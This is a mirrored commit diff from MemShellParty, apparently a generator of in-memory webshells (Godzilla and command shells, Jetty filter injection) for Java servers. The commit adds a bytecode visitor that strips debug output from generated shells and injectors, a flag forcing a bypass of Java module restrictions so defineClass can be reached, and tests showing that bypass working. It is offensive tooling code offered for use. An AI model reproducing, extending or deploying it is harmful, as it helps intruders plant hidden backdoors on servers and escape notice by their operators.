mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
feat: support debug mode
This commit is contained in:
+10
-7
@@ -23,17 +23,19 @@ idea {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'net.bytebuddy:byte-buddy:1.15.1'
|
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
|
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||||
|
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||||
// implementation fileTree('libs')
|
// implementation fileTree('libs')
|
||||||
|
|
||||||
implementation 'commons-io:commons-io:2.18.0'
|
implementation 'commons-io:commons-io:2.+'
|
||||||
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||||
implementation 'commons-codec:commons-codec:1.17.1'
|
implementation 'commons-codec:commons-codec:1.+'
|
||||||
|
|
||||||
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
implementation 'com.squareup.okhttp3:okhttp:4.+'
|
||||||
implementation 'ch.qos.logback:logback-classic:1.5.12'
|
implementation 'ch.qos.logback:logback-classic:1.+'
|
||||||
|
|
||||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||||
@@ -50,7 +52,8 @@ dependencies {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom:5.11.3')
|
testImplementation platform('org.junit:junit-bom:5.+')
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
testImplementation "org.mockito:mockito-core:5.+"
|
||||||
}
|
}
|
||||||
+2
-2
@@ -18,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
*
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class ByPassJdkModuleInterceptor {
|
public class ByPassJavaModuleInterceptor {
|
||||||
@Advice.OnMethodEnter
|
@Advice.OnMethodEnter
|
||||||
public static void enter(@Advice.Origin Class<?> clazz) {
|
public static void enter(@Advice.Origin Class<?> clazz) {
|
||||||
try {
|
try {
|
||||||
@@ -61,7 +61,7 @@ public class ByPassJdkModuleInterceptor {
|
|||||||
.intercept(FixedValue.originType())
|
.intercept(FixedValue.originType())
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.method(named("byPassJdkModule"),
|
.method(named("byPassJdkModule"),
|
||||||
Advice.to(ByPassJdkModuleInterceptor.class)))
|
Advice.to(ByPassJavaModuleInterceptor.class)))
|
||||||
.invokable(isTypeInitializer())
|
.invokable(isTypeInitializer())
|
||||||
.intercept(MethodCall.invoke(named("byPassJdkModule")));
|
.intercept(MethodCall.invoke(named("byPassJdkModule")));
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
|
import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
|
||||||
|
import static net.bytebuddy.jar.asm.Opcodes.POP;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace()
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
||||||
|
public static final LogRemoveMethodVisitor INSTANCE = new LogRemoveMethodVisitor();
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
|
return builder.visit(
|
||||||
|
new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
|
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
||||||
|
}
|
||||||
|
|
||||||
|
@NotNull
|
||||||
|
@Override
|
||||||
|
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||||
|
@NotNull MethodDescription instrumentedMethod,
|
||||||
|
@NotNull MethodVisitor methodVisitor,
|
||||||
|
@NotNull Implementation.Context implementationContext,
|
||||||
|
@NotNull TypePool typePool,
|
||||||
|
int writerFlags,
|
||||||
|
int readerFlags) {
|
||||||
|
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
|
||||||
|
@Override
|
||||||
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
|
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
||||||
|
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))) {
|
||||||
|
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
||||||
|
for (String arg : args) {
|
||||||
|
if (StringUtils.isNotBlank(arg)) {
|
||||||
|
super.visitInsn(POP);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
super.visitInsn(POP);
|
||||||
|
} else {
|
||||||
|
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -37,6 +37,12 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private int targetJreVersion = Constants.DEFAULT_VERSION;
|
private int targetJreVersion = Constants.DEFAULT_VERSION;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否需要移除模块限制
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean byPassJavaModule = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否开启混淆
|
* 是否开启混淆
|
||||||
*/
|
*/
|
||||||
@@ -49,12 +55,16 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
|
public boolean isDebugOff(){
|
||||||
|
return !debug;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
return StringUtils.containsIgnoreCase(shellType, "jakarta");
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJdkModule() {
|
public boolean needByPassJavaModule() {
|
||||||
return targetJreVersion >= Opcodes.V9;
|
return byPassJavaModule || targetJreVersion >= Opcodes.V9;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memsell;
|
package com.reajason.javaweb.memsell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.config.CommandConfig;
|
import com.reajason.javaweb.config.CommandConfig;
|
||||||
@@ -33,6 +34,10 @@ public class CommandGenerator {
|
|||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (config.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memsell;
|
package com.reajason.javaweb.memsell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.config.GodzillaConfig;
|
import com.reajason.javaweb.config.GodzillaConfig;
|
||||||
@@ -39,6 +40,10 @@ public class GodzillaGenerator {
|
|||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (config.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memsell;
|
package com.reajason.javaweb.memsell;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.config.InjectorConfig;
|
import com.reajason.javaweb.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.config.ShellConfig;
|
import com.reajason.javaweb.config.ShellConfig;
|
||||||
@@ -34,8 +35,12 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
if (config.needByPassJdkModule()) {
|
if (config.needByPassJavaModule()) {
|
||||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (config.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
|
|||||||
+2
-10
@@ -46,15 +46,6 @@ public class JettyFilterInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getFilterName(String className) {
|
|
||||||
if (className.contains(".")) {
|
|
||||||
int lastDotIndex = className.lastIndexOf(".");
|
|
||||||
return className.substring(lastDotIndex + 1);
|
|
||||||
} else {
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addFilter(Object context, Object magicFilter) {
|
public void addFilter(Object context, Object magicFilter) {
|
||||||
Class<?> filterClass = magicFilter.getClass();
|
Class<?> filterClass = magicFilter.getClass();
|
||||||
try {
|
try {
|
||||||
@@ -122,7 +113,8 @@ public class JettyFilterInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
System.out.printf("contextSize: %s%n", contexts.size());
|
String log = String.format("contextSize: %s%n", contexts.size());
|
||||||
|
System.out.println(log);
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.junit.jupiter.api.condition.EnabledOnJre;
|
||||||
|
|
||||||
|
import java.lang.reflect.InaccessibleObjectException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
import static org.junit.jupiter.api.condition.JRE.JAVA_17;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
class ByPassJavaModuleInterceptorTest {
|
||||||
|
static class TestClass {
|
||||||
|
static {
|
||||||
|
System.out.println("TestClass");
|
||||||
|
}
|
||||||
|
|
||||||
|
public TestClass() {
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String hello() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
@EnabledOnJre(JAVA_17)
|
||||||
|
void testByPassModule() {
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
assertThrows(InaccessibleObjectException.class, () -> {
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
});
|
||||||
|
ByPassJavaModuleInterceptor.enter(this.getClass());
|
||||||
|
assertDoesNotThrow(() -> {
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void test() {
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
|
.redefine(TestClass.class)
|
||||||
|
.name("com.reajason.javaweb.buddy.ByPassJdkModuleInterceptorTest$TestClass1");
|
||||||
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
|
byte[] bytes = make.getBytes();
|
||||||
|
Files.write(Paths.get("build", "classes", "TestClass1.class"), bytes);
|
||||||
|
Class<?> loaded = make.load(Thread.currentThread().getContextClassLoader()).getLoaded();
|
||||||
|
assertNotNull(loaded.getDeclaredMethod("byPassJdkModule"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
-44
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.buddy;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/7
|
|
||||||
*/
|
|
||||||
class ByPassJdkModuleInterceptorTest {
|
|
||||||
|
|
||||||
static class TestClass {
|
|
||||||
static {
|
|
||||||
System.out.println("TestClass");
|
|
||||||
}
|
|
||||||
|
|
||||||
public TestClass() {
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public String hello() {
|
|
||||||
return "hello";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void test() {
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(TestClass.class)
|
|
||||||
.name("com.reajason.javaweb.buddy.ByPassJdkModuleInterceptorTest$TestClass1");
|
|
||||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
byte[] bytes = make.getBytes();
|
|
||||||
Files.write(Paths.get("build", "classes", "TestClass1.class"), bytes);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
import static org.mockito.Mockito.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/4
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
class LogRemoveVisitorWrapperTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testExtend() {
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy().subclass(Object.class);
|
||||||
|
DynamicType.Builder<?> extendedBuilder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
assertNotNull(extendedBuilder);
|
||||||
|
assertNotEquals(builder, extendedBuilder);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testWrap() {
|
||||||
|
LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE;
|
||||||
|
TypeDescription instrumentedType = mock(TypeDescription.class);
|
||||||
|
MethodDescription instrumentedMethod = mock(MethodDescription.class);
|
||||||
|
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||||
|
Implementation.Context implementationContext = mock(Implementation.Context.class);
|
||||||
|
TypePool typePool = mock(TypePool.class);
|
||||||
|
|
||||||
|
MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor,
|
||||||
|
implementationContext, typePool, 0, 0);
|
||||||
|
|
||||||
|
assertNotNull(wrappedVisitor);
|
||||||
|
assertNotEquals(methodVisitor, wrappedVisitor);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testVisitMethodInsn_RemoveSystemOutPrintln() {
|
||||||
|
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||||
|
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
||||||
|
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
|
||||||
|
|
||||||
|
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testVisitMethodInsn_RemovePrintStackTrace() {
|
||||||
|
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||||
|
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
||||||
|
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||||
|
|
||||||
|
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testVisitMethodInsn_KeepOtherMethodCalls() {
|
||||||
|
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||||
|
MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0);
|
||||||
|
wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
||||||
|
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class TestClass {
|
||||||
|
public TestClass() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void methodWithLogs() {
|
||||||
|
System.out.println("This should be removed");
|
||||||
|
String test = "test";
|
||||||
|
int length = test.length();
|
||||||
|
try {
|
||||||
|
System.out.println("hello");
|
||||||
|
throw new RuntimeException("hello");
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testIntegration() throws Exception {
|
||||||
|
// Use ByteBuddy to create a new class with log statements removed
|
||||||
|
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
|
||||||
|
.redefine(TestClass.class)
|
||||||
|
.name("com.reajason.javaweb.buddy.TestClass1")
|
||||||
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
|
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
||||||
|
.make();
|
||||||
|
byte[] bytes = make.getBytes();
|
||||||
|
Files.write(Paths.get("xx.class"), bytes);
|
||||||
|
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
||||||
|
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
||||||
|
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
@@ -21,6 +21,7 @@ public class ShellAssertionTool {
|
|||||||
.shellTool(shellTool)
|
.shellTool(shellTool)
|
||||||
.shellType(shellType)
|
.shellType(shellType)
|
||||||
.targetJreVersion(targetJdkVersion)
|
.targetJreVersion(targetJdkVersion)
|
||||||
|
.debug(true)
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
|||||||
+1
@@ -24,6 +24,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/7
|
* @since 2024/12/7
|
||||||
*/
|
*/
|
||||||
|
@Slf4j
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Jetty94ContainerTest {
|
public class Jetty94ContainerTest {
|
||||||
public static final String imageName = "jetty:9.4-jre8-slim";
|
public static final String imageName = "jetty:9.4-jre8-slim";
|
||||||
|
|||||||
Reference in New Issue
Block a user